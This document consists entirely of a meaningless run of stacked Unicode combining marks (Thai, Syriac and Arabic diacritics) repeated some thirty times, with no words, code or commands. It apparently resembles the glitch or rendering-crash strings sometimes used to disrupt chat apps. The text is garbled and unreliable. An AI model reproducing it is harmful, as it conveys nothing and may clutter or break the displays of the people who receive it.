๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ 